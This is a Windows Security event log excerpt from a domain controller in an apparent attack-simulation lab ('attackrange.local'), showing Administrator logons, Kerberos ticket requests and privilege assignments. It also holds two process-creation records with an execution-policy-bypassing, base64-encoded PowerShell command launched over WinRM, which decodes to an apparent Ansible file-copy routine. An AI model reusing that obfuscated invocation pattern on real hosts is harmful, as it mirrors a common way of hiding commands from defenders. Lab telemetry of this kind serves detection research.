	Logon ID:		0x11553F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250631
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1154BD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250630
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1154BD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64465

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250629
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1154BD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250628
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x115106

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250627
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x115106
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250626
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250625
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250624
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250623
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x114BB2

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250622
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x114BB2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250621
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250620
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250619
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250618
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1134
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1138
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADIALgA2ADcAMQAyADUANAAtADIANgAwADYAMwA1ADYANAAyADEAOAA5ADEANQA1AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250617
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1138
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1340
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADIALgA2ADcAMQAyADUANAAtADIANgAwADYAMwA1ADYANAAyADEAOAA5ADEANQA1AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250616
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1149BF

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250615
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1149BF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250614
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250613
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{846418A7-3BFA-80A8-F4CF-2E39CB96E056}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250612
Keywords=Audit Success
